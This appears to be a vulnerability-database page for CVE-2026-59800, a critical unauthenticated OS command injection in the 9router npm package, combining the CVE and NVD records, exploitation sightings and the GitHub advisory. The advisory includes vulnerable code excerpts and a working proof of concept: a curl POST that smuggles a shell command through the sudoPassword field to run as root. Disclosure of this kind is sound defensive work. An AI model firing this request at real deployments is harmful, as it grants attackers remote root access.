CVE-2026-59800 (GCVE-0-2026-59800)

Vulnerability from cvelistv5 – Published: 2026-07-07 18:19 – Updated: 2026-07-07 19:08 X_Open Source X_Known Exploited Vulnerability

Shadowserver Previdian

Title

9Router < 0.4.44 - OS Command Injection via sudoPassword Parameter in Tailscale Install Endpoint

Summary

9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-07 19:07 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 8179 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/decolua/9router/security/advis…	vendor-advisory
https://www.vulncheck.com/advisories/9router-os-c…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
decolua	9router	Affected: 0 , < 0.4.44 (semver) Unaffected: 0.4.44 (semver)	guessed

Date Public

2026-05-29 00:00

Credits

Vũ Chí Thành (@vcth4nh) Huỳnh Đức Tin (@Ductinn)

Shadowserver

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: 7ddb7f98-e9db-4783-9b45-531cdf9626bb

Vulnerability ID: CVE-2026-59800

Status: Confirmed

Status Updated: 2026-10-04 00:00 UTC

Exploited: Yes

Characteristics

Severity: 98.0

Timestamps

First Seen: 2026-07-31

Asserted: 2026-07-31

Last Seen: 2026-10-04

Scope

Asset Exposure: ['internet-facing']

Evidence

Type: Honeypot

Signal: In The Wild Attempts

Confidence: 70%

Source: shadowserver

Details

1D	1
Iot	no
Feed	Shadowserver Foundation honeypot/exploited-vulnerabilities
Type	http-scan
Class	ai-system
7D Avg	0
Vendor	decolua
30D Avg	0
90D Avg	0
Product	9router
Cisa Kev	no
Connections	485
Observation Date	2026-10-04
Vulnerability Class	CVSS
Vulnerability Score	9.8
Vulnerability Severity	Critical

References

Created: 2026-08-02 01:00 UTC | Updated: 2026-10-21 09:04 UTC

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: 36cf7828-8960-4b24-9fd6-f0510e07818b

Vulnerability ID: CVE-2026-59800

Status: Confirmed

Status Updated: 2026-07-31 00:00 UTC

Exploited: Yes

Timestamps

First Seen: 2026-07-31

Asserted: 2026-07-31

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: kevintel

Details

Feed	KEVIntel (kevintel.com)
Title	9Router < 0.4.44 - OS Command Injection via sudoPassword Parameter in Tailscale Install Endpoint
Vendor	decolua
Product	9router
Added Date	2026-07-31T00:00:00.000Z
Cvss Score	9.2
Epss Score	0.01338
Cvss Severity	CRITICAL
Epss Percentile	0.68457
Used In Malware	unknown
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-08-01 11:00 UTC | Updated: 2026-08-01 11:00 UTC

Show details on NVD website

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            }
          ],
          "tags": [
            "x_open-source",
            "x_known-exploited-vulnerability"
          ],
          "title": "9Router \u003c 0.4.44 - OS Command Injection via sudoPassword Parameter in Tailscale Install Endpoint",
          "x_generator": {
            "engine": "vulncheck-endgame"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "assignerShortName": "VulnCheck",
        "cveId": "CVE-2026-59800",
        "datePublished": "2026-07-07T18:19:17.154Z",
        "dateReserved": "2026-07-07T14:39:14.062Z",
        "dateUpdated": "2026-07-07T19:08:07.806Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-59800

Vulnerability from fkie_nvd - Published: 2026-07-07 19:16 - Updated: 2026-10-25 20:10

Shadowserver Previdian

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	disclosure@vulncheck.com	https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p
	disclosure@vulncheck.com	https://www.vulncheck.com/advisories/9router-os-command-injection-via-sudopassword-parameter-in-tailscale-install-endpoint
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/9router",
          "product": "9router",
          "repo": "https://github.com/decolua/9router",
          "vendor": "decolua",
          "versions": [
            {
              "lessThan": "0.4.44",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "0.4.44",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a \u0027sudo -S sh\u0027 child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC)."
    },
    {
      "lang": "es",
      "value": "9Router antes de 0.4.44 contiene una vulnerabilidad de inyecci\u00f3n de comandos del sistema operativo en el endpoint POST /api/tunnel/tailscale-install no autenticado (esta ruta no est\u00e1 cubierta por el middleware matcher del panel de control, por lo que no se aplica ninguna comprobaci\u00f3n de autorizaci\u00f3n). El campo sudoPassword del cuerpo de la solicitud se escribe en la entrada est\u00e1ndar (stdin) de un proceso hijo \u2019sudo -S sh\u2019. Cuando sudo no solicita una contrase\u00f1a (el proceso se ejecuta como root, NOPASSWD est\u00e1 configurado o existe una cach\u00e9 de marca de tiempo de sudo reciente), el valor de sudoPassword es interpretado por sh como un comando de shell, permitiendo a un atacante remoto no autenticado ejecutar comandos arbitrarios del sistema operativo. La evidencia de explotaci\u00f3n fue observada por primera vez por la Shadowserver Foundation el 04-07-2026 (UTC)."
    }
  ],
  "id": "CVE-2026-59800",
  "lastModified": "2026-10-25T20:10:00.147",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.2,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59800",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-07T19:07:58.646180Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-07T19:16:55.260",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/9router-os-command-injection-via-sudopassword-parameter-in-tailscale-install-endpoint"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-G6G7-PVMX-M74P

Vulnerability from github – Published: 2026-07-02 20:17 – Updated: 2026-07-07 18:35

Summary

9router: Missing Authorization and OS Command Injection

Details

Unauthenticated RCE via `/api/tunnel/tailscale-install`

Affected: 9router (npm package) — current master (v0.4.39).

Summary

POST /api/tunnel/tailscale-install accepts a JSON body with a sudoPassword field and pipes it, followed by the body of https://tailscale.com/install.sh, into a child process spawned as sudo -S sh. The route is not present in the dashboard middleware matcher in src/proxy.js, so the request reaches the handler without invoking dashboardGuard.proxy(). In deployments where the Node process runs as root (Docker images derived from node:* without a USER directive, npm i -g 9router invoked as root, or systemd units without User=), the spawned sh runs as root and executes the attacker-supplied bytes.

Details

1. Middleware matcher (`src/proxy.js:3-15`)

export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire /api/tunnel/* family — do not invoke dashboardGuard.proxy(). No cookie, JWT, CLI token, or Host-header check is applied to them.

2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)

export async function POST(request) {
  const body = await request.json().catch(() => ({}));
  ...
  const sudoPassword =
    body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
  ...
  const result = await installTailscale(sudoPassword, shortId, (msg) => {
    send("progress", { message: msg });
  });
  ...
}

body.sudoPassword comes from the request body and is passed to installTailscale, which dispatches to installTailscaleLinux on Linux.

3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)

async function installTailscaleLinux(sudoPassword, log) {
  log("Downloading install script...");
  return new Promise((resolve, reject) => {
    const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
    let scriptContent = "";
    curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
    curlChild.on("exit", (code) => {
      if (code !== 0) return reject(...);
      log("Running install script...");
      const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
      ...
      child.stdin.write(`${sudoPassword}\n`);   //  ← from request body
      child.stdin.write(scriptContent);
      child.stdin.end();
    });
  });
}

The byte stream sent to the stdin of the sudo -S sh child process is:

<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>

When the caller is already root, has NOPASSWD configured for the user, or has a recent sudo timestamp cache, sudo -S sh does not read stdin for a password — it execs sh directly. The new sh process inherits the stdin pipe and reads it line by line:

The sudoPassword value from the request — interpreted as the first shell command.
The install.sh body — interpreted as subsequent shell input.

Appending ; exit 0 to the sudoPassword value causes sh to exit before the legitimate install.sh body runs. The host executes only the request-supplied bytes, as the 9router process user.

Both "Docker container running as root" and "npm i -g 9router on a host with NOPASSWD sudo" reach this path.

PoC

The reproduction below is self-contained: build a representative target image (Node process running as root, with sudo and curl on PATH), start it, send one unauthenticated POST with curl, and read the file written by the payload.

Step 1 — build the target image

docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
        sudo curl ca-certificates \
    && rm -rf /var/lib/apt/lists/*
RUN npm install -g 9router@0.4.39
EXPOSE 20128
CMD ["9router"]
EOF

Step 2 — start the target

docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
    9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done

Step 3 — exploit (one unauthenticated POST)

curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
     -H 'Content-Type: application/json' \
     -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'

Step 4 — verify

docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)

The trailing "Tailscale not installed" line is a consequence of ; exit 0 terminating sh before the legitimate install.sh body executed; the id > /tmp/pwned.txt write completed earlier in the same sh invocation. The POST carried no credentials, cookies, or prior state.

Impact

Type: Improper Access Control + OS Command Injection (CWE-862 + CWE-78).

Affected operators: 9router operators on Linux/macOS whose deployment matches one of the following configurations:

Configuration	Example	Outcome
Node process runs as root	Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router`	Unauthenticated remote root RCE (primary case in this report)
Node process runs as a normal user with `NOPASSWD` sudo	Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL`	Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold
Node process runs as a normal user without `NOPASSWD` and no stored password	Hardened multi-user host	The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information

Severity

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.44"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T20:17:56Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Unauthenticated RCE via `/api/tunnel/tailscale-install`\n\n**Affected:** `9router` (npm package) \u2014 current master (`v0.4.39`).\n\n### Summary\n\n`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.\n\n### Details\n\n#### 1. Middleware matcher (`src/proxy.js:3-15`)\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n    \"/api/cli-tools/:path*\",\n    \"/api/mcp/:path*\",\n  ],\n};\n```\n\nNext.js invokes the middleware only for paths matching this list. Routes that are not listed \u2014 including the entire `/api/tunnel/*` family \u2014 do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.\n\n#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)\n\n```js\nexport async function POST(request) {\n  const body = await request.json().catch(() =\u003e ({}));\n  ...\n  const sudoPassword =\n    body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || \"\";\n  ...\n  const result = await installTailscale(sudoPassword, shortId, (msg) =\u003e {\n    send(\"progress\", { message: msg });\n  });\n  ...\n}\n```\n\n`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.\n\n#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)\n\n```js\nasync function installTailscaleLinux(sudoPassword, log) {\n  log(\"Downloading install script...\");\n  return new Promise((resolve, reject) =\u003e {\n    const curlChild = spawn(\"curl\", [\"-fsSL\", \"https://tailscale.com/install.sh\"], { ... });\n    let scriptContent = \"\";\n    curlChild.stdout.on(\"data\", (d) =\u003e { scriptContent += d.toString(); });\n    curlChild.on(\"exit\", (code) =\u003e {\n      if (code !== 0) return reject(...);\n      log(\"Running install script...\");\n      const child = spawn(\"sudo\", [\"-S\", \"sh\"], { stdio: [\"pipe\", \"pipe\", \"pipe\"], windowsHide: true });\n      ...\n      child.stdin.write(`${sudoPassword}\\n`);   //  \u2190 from request body\n      child.stdin.write(scriptContent);\n      child.stdin.end();\n    });\n  });\n}\n```\n\nThe byte stream sent to the stdin of the `sudo -S sh` child process is:\n\n```\n\u003csudoPassword from request body\u003e\\n\n\u003chttps://tailscale.com/install.sh body\u003e\n```\n\nWhen the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password \u2014 it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:\n\n1. The `sudoPassword` value from the request \u2014 interpreted as the first shell command.\n2. The `install.sh` body \u2014 interpreted as subsequent shell input.\n\nAppending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.\n\nBoth \"Docker container running as root\" and \"`npm i -g 9router` on a host with `NOPASSWD` sudo\" reach this path.\n\n### PoC\n\nThe reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.\n\n**Step 1 \u2014 build the target image**\n\n```sh\ndocker build -t 9router-vuln-root - \u003c\u003c\u0027EOF\u0027\nFROM node:22-bookworm-slim\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        sudo curl ca-certificates \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN npm install -g 9router@0.4.39\nEXPOSE 20128\nCMD [\"9router\"]\nEOF\n```\n\n**Step 2 \u2014 start the target**\n\n```sh\ndocker run -d --rm --name target -p 127.0.0.1:20129:20128 \\\n    9router-vuln-root 9router --log --skip-update\nuntil curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done\n```\n\n**Step 3 \u2014 exploit (one unauthenticated POST)**\n\n```sh\ncurl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{\"sudoPassword\":\"id \u003e /tmp/pwned.txt; exit 0\"}\u0027\n```\n\n**Step 4 \u2014 verify**\n\n```sh\ndocker exec target cat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\nThe trailing `\"Tailscale not installed\"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id \u003e /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.\n\n### Impact\n\n**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).\n\n**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:\n\n| Configuration | Example | Outcome |\n|---|---|---|\n| Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router \u0026\u0026 sudo 9router` | Unauthenticated remote root RCE (primary case in this report) |\n| Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator\u0027s user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator\u0027s user; root reachable via `sudo` from the foothold |\n| Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |",
  "id": "GHSA-g6g7-pvmx-m74p",
  "modified": "2026-07-07T18:35:34Z",
  "published": "2026-07-02T20:17:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases?q=0.4.44\u0026expanded=true"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "9router: Missing Authorization and OS Command Injection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-59800 (GCVE-0-2026-59800)

Shadowserver

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Characteristics

Timestamps

Scope

Evidence

Honeypot In The Wild Attempts Confidence: 70% Source: shadowserver

Details

References

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: kevintel

Details

References

FKIE_CVE-2026-59800

GHSA-G6G7-PVMX-M74P

Unauthenticated RCE via /api/tunnel/tailscale-install

Summary

Details

1. Middleware matcher (src/proxy.js:3-15)

2. Route handler (src/app/api/tunnel/tailscale-install/route.js:18-67)

3. Linux installation routine (src/lib/tunnel/tailscale.js:304-341)

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

Unauthenticated RCE via `/api/tunnel/tailscale-install`

1. Middleware matcher (`src/proxy.js:3-15`)

2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)

3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)